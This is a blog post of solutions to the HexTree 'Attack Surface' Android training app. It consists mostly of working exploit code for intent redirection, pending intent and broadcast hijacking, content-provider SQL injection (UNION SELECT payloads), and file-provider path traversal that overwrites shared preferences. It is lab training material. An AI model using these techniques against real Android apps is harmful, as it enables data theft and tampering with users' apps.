Posts HexTree Attack Surface Android App Solutions
Post
Cancel

HexTree Attack Surface Android App Solutions

Introduction

Peace be upon all of you. In this post I am going to share all the solutions for the Attack Surface Android app, which is part of the amazing Hextree Android Application Security course and also sponsored by Google. This app is packed with hands-on challenges to practice many real-world Android vulnerabilities.

Course Link: https://app.hextree.io/map/android

image.png

Intents

Flag1

Basic exported activity

1
adb shell am start-activity -n io.hextree.attacksurface/io.hextree.attacksurface.activities.Flag1Activity

Flag2

Intent with extras

1
2
3
4
Intent exploitIntent = new Intent();
exploitIntent.setClassName("io.hextree.attacksurface","io.hextree.attacksurface.activities.Flag3Activity");
exploitIntent.setAction("io.hextree.action.GIVE_FLAG");
startActivity(exploitIntent);

Flag3

Intent with a data URI

1
2
3
4
5
Intent exploitIntent = new Intent();
exploitIntent.setClassName("io.hextree.attacksurface","io.hextree.attacksurface.activities.Flag3Activity");
exploitIntent.setAction("io.hextree.action.GIVE_FLAG");
exploitIntent.setData(Uri.parse("https://app.hextree.io/map/android"));
startActivity(exploitIntent);

Flag4

State Machine

1
2
3
4
5
6
7
8
9
10
11
12
13
14
Intent exploitIntent3 = new Intent();
exploitIntent3.setClassName("io.hextree.attacksurface","io.hextree.attacksurface.activities.Flag4Activity");
exploitIntent3.setAction("GET_FLAG_ACTION");
startActivity(exploitIntent3);

Intent exploitIntent2 = new Intent();
exploitIntent2.setClassName("io.hextree.attacksurface","io.hextree.attacksurface.activities.Flag4Activity");
exploitIntent2.setAction("BUILD_ACTION");
startActivity(exploitIntent2);

Intent exploitIntent = new Intent();
exploitIntent.setClassName("io.hextree.attacksurface","io.hextree.attacksurface.activities.Flag4Activity");
exploitIntent.setAction("PREPARE_ACTION");
startActivity(exploitIntent);

Flag5

Intent in intent

1
2
3
4
5
6
7
8
9
10
11
12
13
14
// nextIntent -- Intent3
Intent exploitIntent3 = new Intent();
exploitIntent3.putExtra("reason", "back");

// Intent2
Intent exploitIntent2 = new Intent();
exploitIntent2.putExtra("return", 42);
exploitIntent2.putExtra("nextIntent", exploitIntent3);

// Main Intent -- Intent
Intent exploitIntent1 = new Intent();
exploitIntent1.setClassName("io.hextree.attacksurface","io.hextree.attacksurface.activities.Flag5Activity");
exploitIntent1.putExtra("android.intent.extra.INTENT", exploitIntent2);
startActivity(exploitIntent1);

Flag6

Not Exported

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// nextIntent -- Intent3
Intent exploitIntent3 = new Intent();
exploitIntent3.putExtra("reason", "next");
exploitIntent3.setFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION);
exploitIntent3.setClassName("io.hextree.attacksurface","io.hextree.attacksurface.activities.Flag6Activity");

// Intent2
Intent exploitIntent2 = new Intent();
exploitIntent2.putExtra("return", 42);
exploitIntent2.putExtra("nextIntent", exploitIntent3);

// Main Intent -- Intent
Intent exploitIntent1 = new Intent();
exploitIntent1.setClassName("io.hextree.attacksurface","io.hextree.attacksurface.activities.Flag5Activity");
exploitIntent1.putExtra("android.intent.extra.INTENT", exploitIntent2);
startActivity(exploitIntent1);

Flag7

Activity Lifecycle tricks

1
2
3
4
5
6
7
8
9
10
11
12
13
14
Intent OpenIntent = new Intent();
OpenIntent.setAction("OPEN");
OpenIntent.setClassName("io.hextree.attacksurface","io.hextree.attacksurface.activities.Flag7Activity");
startActivity(OpenIntent);

Handler handler = new Handler();
handler.postDelayed(() -> {
    // Send the "REOPEN" action to trigger onNewIntent
    Intent exploitIntent1 = new Intent();
    exploitIntent1.setAction("REOPEN");
    exploitIntent1.setClassName("io.hextree.attacksurface","io.hextree.attacksurface.activities.Flag7Activity");
    exploitIntent1.addFlags(Intent.FLAG_ACTIVITY_SINGLE_TOP);
    startActivity(exploitIntent1);
}, 2000);

Flag8

Do you expect a result?

1
2
3
4
// Make sure your package Name contains "Hextree" 
exploitIntent1 = new Intent();
exploitIntent1.setClassName("io.hextree.attacksurface","io.hextree.attacksurface.activities.Flag8Activity");
startActivityForResult(exploitIntent1, 0);

Flag9

Receive result with flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// Make sure your package Name contains "Hextree" 
protected void onCreate(Bundle savedInstanceState) {
  super.onCreate(savedInstanceState);
  setContentView(R.layout.activity_main);

  // Main Intent -- Intent
  Intent exploitIntent1 = new Intent();
  exploitIntent1.setClassName("io.hextree.attacksurface","io.hextree.attacksurface.activities.Flag9Activity");
  startActivityForResult(exploitIntent1, 0);
}

protected void onActivityResult(int requestCode, int resultCode, Intent data) {
  super.onActivityResult(requestCode, resultCode, data);
  String result = data.getStringExtra("flag");
  Log.d("Flag9", result);
}

Flag10

Hijack implicit intent with the flag

1
2
3
4
5
6
7
8
<activity
    android:name=".SecondActivity"
    android:exported="true" >
<intent-filter>
    <action android:name="io.hextree.attacksurface.ATTACK_ME"/>
    <category android:name="android.intent.category.DEFAULT" />
</intent-filter>
</activity>
1
2
3
4
5
6
7
Intent intent = getIntent();
if("io.hextree.attacksurface.ATTACK_ME".equals(intent.getAction())){
    String flag = intent.getStringExtra("flag");
    Log.d("Flag10", flag);
}else{
    Log.d("Flag10", "Not Received");
}

Flag11

Respond to implicit intent

1
2
3
4
5
6
7
8
<activity
    android:name=".SecondActivity"
    android:exported="true" >
<intent-filter>
    <action android:name="io.hextree.attacksurface.ATTACK_ME"/>
    <category android:name="android.intent.category.DEFAULT" />
</intent-filter>
</activity>
1
2
3
4
5
6
Intent intent = getIntent();
if("io.hextree.attacksurface.ATTACK_ME".equals(intent.getAction())){
    setResult(42, intent.putExtra("token", 1094795585));
}else{
    Log.d("Flag11", "Not Received");
}

Flag12

Careful intent conditions

1
2
3
4
5
6
7
8
<activity
    android:name=".SecondActivity"
    android:exported="true" >
<intent-filter>
    <action android:name="io.hextree.attacksurface.ATTACK_ME"/>
    <category android:name="android.intent.category.DEFAULT" />
</intent-filter>
</activity>

Main Activity

1
2
3
4
Intent intent2 = new Intent();
intent2.setClassName("io.hextree.attacksurface", "io.hextree.attacksurface.activities.Flag12Activity");
intent2.putExtra("LOGIN", true);
startActivity(intent2);

SecondActvity

1
2
3
4
5
6
7
8
9
Intent intent = getIntent();
if("io.hextree.attacksurface.ATTACK_ME".equals(intent.getAction())){
    intent.putExtra("token", 1094795585);
    setResult(42, intent);
    finish();
    Log.d("Flag12", "Accessed");
}else{
		Log.d("Flag12", "Not Received");
}

Flag22

Receive Pending Intent

Main Activity

1
2
3
4
5
6
7
8
Intent targetIntent = new Intent();
targetIntent.setClass(this,  SecondActivity.class);
PendingIntent pendingIntent = PendingIntent.getActivity(this,0,targetIntent, PendingIntent.FLAG_UPDATE_CURRENT);

Intent sendIntent = new Intent();
sendIntent.setClassName("io.hextree.attacksurface", "io.hextree.attacksurface.activities.Flag22Activity");
sendIntent.putExtra("PENDING", pendingIntent);
startActivity(sendIntent);

Second Activity

1
2
3
4
5
6
7
Intent receivedIntent = getIntent();
if (receivedIntent != null) {
    String flag = receivedIntent.getStringExtra("flag");
    Log.d("Flag22", flag);
}else{
    Log.d("Flag22", "???");
}

Flag23

Hijack Pending Intent

1
2
3
4
5
6
7
8
<activity
  android:name=".SecondActivity"
  android:exported="true" >
<intent-filter>
  <action android:name="io.hextree.attacksurface.MUTATE_ME"/>
  <category android:name="android.intent.category.DEFAULT" />
</intent-filter>
</activity>
1
2
3
4
5
6
7
8
9
10
11
Intent receivedIntent = getIntent();
PendingIntent pendingIntent = receivedIntent.getParcelableExtra("pending_intent");
Intent newIntent = new Intent();
newIntent.setAction("io.hextree.attacksurface.GIVE_FLAG");
newIntent.putExtra("code", 42);

try {
    pendingIntent.send(this, 0, newIntent);
} catch (PendingIntent.CanceledException e) {
    e.printStackTrace();
}

Flag13

create a hex://open/ link

Via the link builder:

https://ht-api-mocks-lcfc4kr5oa-uc.a.run.app/android-link-builder?href=

hex://flag?action=give-me

Flag14

Hijack web login

1
2
3
4
5
6
7
8
9
10
11
12
<activity
android:name=".SecondActivity"
android:exported="true" >
<intent-filter>
  <action android:name="android.intent.action.VIEW"/>
  <category android:name="android.intent.category.DEFAULT"/>
  <category android:name="android.intent.category.BROWSABLE"/>
<data
    android:scheme="hex"
    android:host="token"/>
  </intent-filter>
</activity>
1
2
3
4
5
6
7
8
9
10
11
12
13
Intent receivedIntent = getIntent();
if(receivedIntent.getAction() == "android.intent.action.VIEW"){
    Uri data = receivedIntent.getData();
    Log.d("queryParameters", String.valueOf(data));
    String authToken = data.getQueryParameter("authToken");
    String authChallenge = data.getQueryParameter("authChallenge");

    Intent sendIntent = new Intent();
    sendIntent.setAction("android.intent.action.VIEW");
    sendIntent.setClassName("io.hextree.attacksurface","io.hextree.attacksurface.activities.Flag14Activity");
    sendIntent.setData(Uri.parse("hex://token?authToken="+authToken+"&type=admin&authChallenge="+authChallenge));
    startActivity(sendIntent);
}

Flag15

Create a intent://flag15 / link

Via the link builder:

https://ht-api-mocks-lcfc4kr5oa-uc.a.run.app/android-link-builder?href=

1
intent:#Intent;package=io.hextree.attacksurface;action=io.hextree.action.GIVE_FLAG;S.action=flag;S.open=flag;B.flag=true;end;

Broadcast Receivers

Flag16

Basic Exposed Receiver

1
2
3
4
Intent intent = new Intent();
intent.setClassName("io.hextree.attacksurface","io.hextree.attacksurface.receivers.Flag16Receiver");
intent.putExtra("flag","give-flag-16");
sendBroadcast(intent);

Flag17

Receiver with Response

1
2
3
4
Intent intent = new Intent();
intent.putExtra("flag","give-flag-17");
intent.setClassName("io.hextree.attacksurface","io.hextree.attacksurface.receivers.Flag17Receiver");
sendOrderedBroadcast(intent, null);

Flag18

Hijack Broadcast Intent

1
2
3
4
5
6
7
8
9
10
BroadcastReceiver receiver = new BroadcastReceiver() {
@Override
// Once a broadcast received with a specific intent
public void onReceive(Context context, Intent intent) {
    setResultCode(1);
    setResultData("Heey");
}
};
// Waiting for any broadcast with this intent "io.hextree.broadcast.FREE_FLAG"
registerReceiver(receiver, new IntentFilter("io.hextree.broadcast.FREE_FLAG"));

Widgets

Flag19

Widget System intents

1
2
3
4
5
6
7
8
Intent intent = new Intent();
intent.setAction("APPWIDGET_UPDATE");
Bundle bundle = new Bundle();
bundle.putInt("appWidgetMaxHeight", 1094795585);
bundle.putInt("appWidgetMinHeight", 322376503);
intent.putExtra("appWidgetOptions", bundle);
intent.setClassName("io.hextree.attacksurface","io.hextree.attacksurface.receivers.Flag19Widget");
sendBroadcast(intent);

Notifications

Flag20

Notification Button Intents

1
2
3
4
Intent intent = new Intent();
intent.setAction("io.hextree.broadcast.GET_FLAG");
intent.putExtra("give-flag", true);
sendBroadcast(intent);

Flag21

Hijack Notification Button

1
2
3
4
5
6
7
8
9
BroadcastReceiver receiver = new BroadcastReceiver() {
    @Override
    public void onReceive(Context context, Intent intent) {
        String flag = intent.getStringExtra("flag");
        Log.d("flag21", flag);
    }
};
registerReceiver(receiver, new IntentFilter("io.hextree.broadcast.GIVE_FLAG"));
}

Services

Flag24

Basic Service Start

1
2
3
4
Intent intent = new Intent();
intent.setClassName("io.hextree.attacksurface", "io.hextree.attacksurface.services.Flag24Service");
intent.setAction("io.hextree.services.START_FLAG24_SERVICE");
startService(intent);

Flag25

Service Lifecycle

1
2
3
4
5
Intent intent = new Intent();
intent.setClassName("io.hextree.attacksurface", "io.hextree.attacksurface.services.Flag25Service");
// Change a lock number each time
intent.setAction("io.hextree.services.UNLOCK1");
startService(intent);

Message Handler

Flag26

Basic Message Handler

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
public class MainActivity extends AppCompatActivity {

private boolean isBound = false;
private ServiceConnection connection = new ServiceConnection() {
    @Override
    public void onServiceConnected(ComponentName name, IBinder service) {
        Messenger serviceMessenger = new Messenger(service);
        isBound = true;

        // Method to send messages to the service
        Message msg = Message.obtain(null, 42);
        try{
            serviceMessenger.send(msg);
        }
        catch (RemoteException e){
            throw new RuntimeException(e);
        }
    }
    @Override
    public void onServiceDisconnected(ComponentName name) {
    }
};
@Override
protected void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState);
    setContentView(R.layout.activity_main);

    // Bind to the service
    Intent intent = new Intent();
    intent.setClassName("io.hextree.attacksurface", "io.hextree.attacksurface.services.Flag26Service");
    bindService(intent, connection, Context.BIND_AUTO_CREATE);
}
}

Flag27

Message Replies

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
public class MainActivity extends AppCompatActivity {
private boolean isBound = false;
private final Messenger clientMessegener = new Messenger(new IncomingHandler());
private Messenger serviceMessenger = null;
private String obtainedPassword;

private class IncomingHandler extends Handler{
IncomingHandler() {super(Looper.getMainLooper());}

  @Override
  public void handleMessage(Message msg){
      Bundle reply =  msg.getData();
      obtainedPassword = reply.getString("password");
      if(reply != null && obtainedPassword != null) {
          Log.i("MessageReply1234", reply.toString());
          Log.d("MessageReply1234", "Obtained password: " + obtainedPassword);
          
          **getFlag(obtainedPassword);**
      }
      else{
          Log.i("Message1234", "NO Reply");
      }

  }
}
private ServiceConnection connection = new ServiceConnection() {
  @Override
  public void onServiceConnected(ComponentName name, IBinder binder) {
      serviceMessenger = new Messenger(binder);
      isBound = true;
      **// Start by getting the secret
      requestPassword();**
  }
  @Override
  public void onServiceDisconnected(ComponentName name) {
  }
};

// Method to request the password
private void requestPassword() {
    if (!isBound) return;
    Message msg = Message.obtain(null, 2);
    msg.obj = new Bundle();
    msg.replyTo = clientMessegener;
    try {
        serviceMessenger.send(msg);
    } catch (RemoteException e) {
        e.printStackTrace();
    }
}
// Method to request the flag
private void getFlag(String Password) {
    **// First, send "give flag" echo**
    Message msg = Message.obtain(null, 1);
    Bundle bundle = new Bundle();
    bundle.putString("echo", "give flag");
    msg.setData(bundle);
    msg.replyTo = clientMessegener;
    try {
        serviceMessenger.send(msg);
    } catch (RemoteException e) {
        e.printStackTrace();
    }

    **// Now, send the retrevied password with int = 3 to get flag**
    msg = Message.obtain(null, 3);
    bundle = new Bundle();
    bundle.putString("password", Password);
    msg.setData(bundle);
    msg.replyTo = clientMessegener;
    try {
        serviceMessenger.send(msg);
    } catch (RemoteException e) {
        e.printStackTrace();
    }
}
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);

// Bind to the service
Intent intent = new Intent();
intent.setClassName("io.hextree.attacksurface", "io.hextree.attacksurface.services.Flag27Service");
bindService(intent, connection, Context.BIND_AUTO_CREATE);
}
}

AIDL Service

Flag28

Basic AIDL Service

Aidl Interface Code

1
2
3
4
5
6
7
// IFlag28Interface.aidl
package io.hextree.attacksurface.services;

// Declare any non-default types here with import statements
interface IFlag28Interface {
    boolean openFlag();
}

MainActivity Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
public class MainActivity extends AppCompatActivity {
    private boolean isBound = false;
    private Messenger serviceMessenger = null;

    private ServiceConnection connection = new ServiceConnection() {
        @Override
        public void onServiceConnected(ComponentName name, IBinder binder) {
            serviceMessenger = new Messenger(binder);
            isBound = true;
            IFlag28Interface aidlService = IFlag28Interface.Stub.asInterface(binder);
            try {
                aidlService.openFlag();
            } catch (RemoteException e) {
                e.printStackTrace();
            }
        }
        @Override
        public void onServiceDisconnected(ComponentName name) {
        }
    };

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);

        // Bind to the service
        Intent intent = new Intent();
        intent.setClassName("io.hextree.attacksurface", "io.hextree.attacksurface.services.Flag28Service");
        bindService(intent, connection, Context.BIND_AUTO_CREATE);
    }
}

Flag29

AIDL Service

Aidl Interface Code

1
2
3
4
5
6
7
8
9
// IFlag28Interface.aidl
package io.hextree.attacksurface.services;

// Declare any non-default types here with import statements
interface IFlag29Interface {
    String init();
    void authenticate(String str);
    void success();
}

MainActivity Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
public class MainActivity extends AppCompatActivity {
    private boolean isBound = false;
    private Messenger serviceMessenger = null;

    private ServiceConnection connection = new ServiceConnection() {
        @Override
        public void onServiceConnected(ComponentName name, IBinder binder) {
            serviceMessenger = new Messenger(binder);
            isBound = true;
            IFlag29Interface aidlService = IFlag29Interface.Stub.asInterface(binder);
            try {
                String password = aidlService.init();
                aidlService.authenticate(password);
                aidlService.success();
            } catch (RemoteException e) {
                e.printStackTrace();
            }
        }
        @Override
        public void onServiceDisconnected(ComponentName name) {
        }
    };

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);

        // Bind to the service
        Intent intent = new Intent();
        intent.setClassName("io.hextree.attacksurface", "io.hextree.attacksurface.services.Flag29Service");
        bindService(intent, connection, Context.BIND_AUTO_CREATE);
    }
}

Content Provider

Flag30

Content Provider Query

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
ContentResolver resolver = getContentResolver();
Uri uri = Uri.parse("content://io.hextree.flag30/success");
Cursor cursor = resolver.query(uri, null, null, null, null);

if (cursor != null) {
  // Retrieves all column names
  String[] columnNames = cursor.getColumnNames();
  while (cursor.moveToNext()) {
      for (String columnName : columnNames) {
          String value = cursor.getString(cursor.getColumnIndexOrThrow(columnName));
          Log.i("ColumnData", columnName + ": " + value);
      }
  }
  cursor.close();
}

Flag31

Provider URI Matching

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
ContentResolver resolver = getContentResolver();
Uri uri = Uri.parse("content://io.hextree.flag31/flag/31");

Cursor cursor = resolver.query(uri, null, null, null, null);

if (cursor != null) {
    // Retrieves all column names
    String[] columnNames = cursor.getColumnNames();
    while (cursor.moveToNext()) {
        for (String columnName : columnNames) {
            String value = cursor.getString(cursor.getColumnIndexOrThrow(columnName));
            Log.i("Flag31", columnName + ": " + value);
        }
    }
    cursor.close();
}

Flag32

Injection in Content Provider

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
ContentResolver resolver = getContentResolver();
Uri uri = Uri.parse("content://io.hextree.flag32/flags");

// Full Query looks like:
// SELECT * FROM Flag WHERE visible=1 AND (1) UNION SELECT * FROM Flag WHERE visible=0 AND (1);
Cursor cursor = resolver.query(uri, null, **"1) UNION SELECT * FROM Flag WHERE visible=0 AND (1"**, null, null);

if (cursor != null) {
    // Retrieves all column names
    String[] columnNames = cursor.getColumnNames();
    while (cursor.moveToNext()) {
        for (String columnName : columnNames) {
            String value = cursor.getString(cursor.getColumnIndexOrThrow(columnName));
            Log.i("QueryFlag32", columnName + ": " + value);
        }
    }
    cursor.close();
}

Flag33.1

Return Provider Access

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);

Intent intent = new Intent();
intent.setAction("io.hextree.FLAG33");
intent.setClassName("io.hextree.attacksurface","io.hextree.attacksurface.activities.Flag33Activity1");
startActivityForResult(intent, 1);
}

protected void onActivityResult(int requestCode, int resultCode, Intent data) {
super.onActivityResult(requestCode, resultCode, data);

ContentResolver resolver = getContentResolver();
// injecting the selection field which is WHERE clause: SELECT * FROM Flag WHERE _id=2 UNION SELECT 1,title,content,'a' FROM Note
Cursor cursor = resolver.query(data.getData(), null, **"_id=2 UNION SELECT 1,title,content,'a' FROM Note"**, null, null);

if (cursor != null) {
    String[] columnNames = cursor.getColumnNames();
    while (cursor.moveToNext()) {
        for (String columnName : columnNames) {
            String value = cursor.getString(cursor.getColumnIndexOrThrow(columnName));
            Log.i("QueryFlag33.1", columnName + ": " + value);
        }
    }
    cursor.close();
	}
}

Flag33.2

Implict Provider Access

Creating an exported activity to hijack the intent permissions to access the provider.

1
2
3
4
5
6
7
8
9
10
11
12
<activity
android:name=".SecondActivity"
android:exported="true">
<intent-filter>
<action android:name="io.hextree.FLAG33" />
<category android:name="android.intent.category.DEFAULT" />
<data
    android:scheme="content"
    android:host="io.hextree.flag33_2"
    android:path="/flags"/>
</intent-filter>
</activity>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
Intent intent = getIntent();

if (intent.getAction() != null){
Log.i("QueryFlag33.2", intent.getAction());
ContentResolver resolver = getContentResolver();
Cursor cursor = resolver.query(intent.getData(), null, "_id=2 UNION SELECT 1,title,content,'a' FROM Note", null, null);

if (cursor != null) {
    String[] columnNames = cursor.getColumnNames();
    while (cursor.moveToNext()) {
        for (String columnName : columnNames) {
            String value = cursor.getString(cursor.getColumnIndexOrThrow(columnName));
            Log.i("QueryFlag33.2", columnName + ": " + value);
        }
    }
    cursor.close();
}
}

File Provider

Flag34

Simple File Provider

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);

Intent intent = new Intent();
intent.putExtra("filename", "flags/flag34.txt");
intent.setClassName("io.hextree.attacksurface","io.hextree.attacksurface.activities.Flag34Activity");
startActivityForResult(intent, 42);
}

protected void onActivityResult(int requestCode, int resultCode, Intent data) {
super.onActivityResult(requestCode, resultCode, data);
Log.i("QueryFlag34", String.valueOf(data.getData()));
try {
    InputStream inputStream = getContentResolver().openInputStream(data.getData());
    BufferedReader reader = new BufferedReader(new InputStreamReader(inputStream));
    String line;

    while ((line = reader.readLine()) != null) {
        Log.i("QueryFlagFile34", line);
    }
}
catch (IOException e){
}
}

Flag35

Root-File Provider

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
String stringExtra = getIntent().getStringExtra("filename");
if (stringExtra != null) {
prepareFlag(this, stringExtra);
Uri uriForFile = FileProvider.getUriForFile(this, "io.hextree.root", new File(getFilesDir(), stringExtra));
Intent intent = new Intent();
intent.setData(uriForFile);
intent.addFlags(3);
**setResult(0, intent);**
return;
}
// Returns the absolute path to the directory on the filesystem where files created
Uri uriForFile2 = FileProvider.getUriForFile(this, "io.hextree.files", new File(getFilesDir(), "secret.txt"));
Intent intent2 = new Intent();
intent2.setData(uriForFile2);
intent2.addFlags(3);
**setResult(-1, intent2);**
}

Flag36

Overwriting Shared Prefs

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
public class MainActivity extends AppCompatActivity {

@Override
protected void onCreate(Bundle savedInstanceState) {
  super.onCreate(savedInstanceState);
  setContentView(R.layout.activity_main);

  Intent intent = new Intent();
  **intent.putExtra("filename", "../shared_prefs/Flag36Preferences.xml");**
  intent.setClassName("io.hextree.attacksurface","io.hextree.attacksurface.activities.Flag35Activity");
  startActivityForResult(intent, 42);
}

protected void onActivityResult(int requestCode, int resultCode, Intent data) {
  super.onActivityResult(requestCode, resultCode, data);
  Log.i("QueryFlag36", String.valueOf(data.getData()));
  try {
      // Read the existing XML file
      InputStream inputStream = getContentResolver().openInputStream(data.getData());
      StringBuilder stringBuilder = new StringBuilder();
      BufferedReader reader = new BufferedReader(new InputStreamReader(inputStream));
      String line;

      **while ((line = reader.readLine()) != null) {
          // Replace false with true
          line = line.replaceAll("false", "true");
          stringBuilder.append(line).append("\n");
      }
      reader.close();

      // Write the modified content back to the file
      OutputStream outputStream = getContentResolver().openOutputStream(data.getData());
      outputStream.write(stringBuilder.toString().getBytes());
      outputStream.close();**
	  // restart the app to take effect
      Intent openFlag36Activity = new Intent();
      openFlag36Activity.setClassName("io.hextree.attacksurface","io.hextree.attacksurface.activities.Flag36Activity");
      startActivity(openFlag36Activity);
  }
  catch (IOException e){
  }
}}

Flag37

File Provider Receivers

MainActiivty

1
2
3
4
5
Intent intent = new Intent();
Uri FileProvider = Uri.parse("content://ItsFadinG.github.io");
intent.setData(FileProvider);
intent.setClassName("io.hextree.attacksurface","io.hextree.attacksurface.activities.Flag37Activity");
startActivity(intent);

Provider XML

1
2
3
4
5
6
<provider
android:name=".AttackProvider"
android:authorities="ItsFadinG.github.io"
android:enabled="true"
android:exported="true">
</provider>

Attack Provider Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
public class AttackProvider extends ContentProvider {
public AttackProvider() {
}

@Override
public Cursor query(Uri uri, String[] projection, String selection, String[] selectionArgs, String sortOrder) {
  Log.i("AttackProvider", "query("+uri.toString()+")");

  MatrixCursor cursor = new MatrixCursor(new String[]{
          OpenableColumns.DISPLAY_NAME, OpenableColumns.SIZE
  });

  cursor.addRow(new Object[]{
          "../flag37.txt", 1337
  });

  return cursor;
}
@Override
public ParcelFileDescriptor openFile(Uri uri, @NonNull String mode) throws FileNotFoundException {
  Log.i("AttackProvider", "openFile(" + uri.toString() + ")");

  try {
      ParcelFileDescriptor[] pipe = ParcelFileDescriptor.createPipe();
      ParcelFileDescriptor.AutoCloseOutputStream outputStream = new ParcelFileDescriptor.AutoCloseOutputStream(pipe[1]);

      new Thread(() -> {
          try {
              outputStream.write("give flag".getBytes());
              outputStream.close();
          } catch (IOException e) {
              Log.e("AttackProvider", "Error in pipeToParcelFileDescriptor", e);
          }
      }).start();

      return pipe[0];
  } catch (IOException e) {
      throw new FileNotFoundException("Could not open pipe for: " + uri.toString());
  }
}

@Override
public int delete(Uri uri, String selection, String[] selectionArgs) {
    Log.i("AttackProvider", "delete("+uri.toString()+")");
    throw new UnsupportedOperationException("Not yet implemented");
}

@Override
public String getType(Uri uri) {
    Log.i("AttackProvider", "getType("+uri.toString()+")");
    throw new UnsupportedOperationException("Not yet implemented");
}

@Override
public Uri insert(Uri uri, ContentValues values) {
    Log.i("AttackProvider", "insert("+uri.toString()+")");
    throw new UnsupportedOperationException("Not yet implemented");
}

@Override
public boolean onCreate() {
    Log.i("AttackProvider", "onCreate()");
    return true;
}

@Override
public int update(Uri uri, ContentValues values, String selection,
                  String[] selectionArgs) {
    Log.i("AttackProvider", "update("+uri.toString()+")");
    throw new UnsupportedOperationException("Not yet implemented");
}
}

Conclusion

I will be happy to hear your thoughts and feedback. Also, let me know if you need a detailed explanation for any of these challenges. PEACE!

This post is licensed under CC BY 4.0 by the author.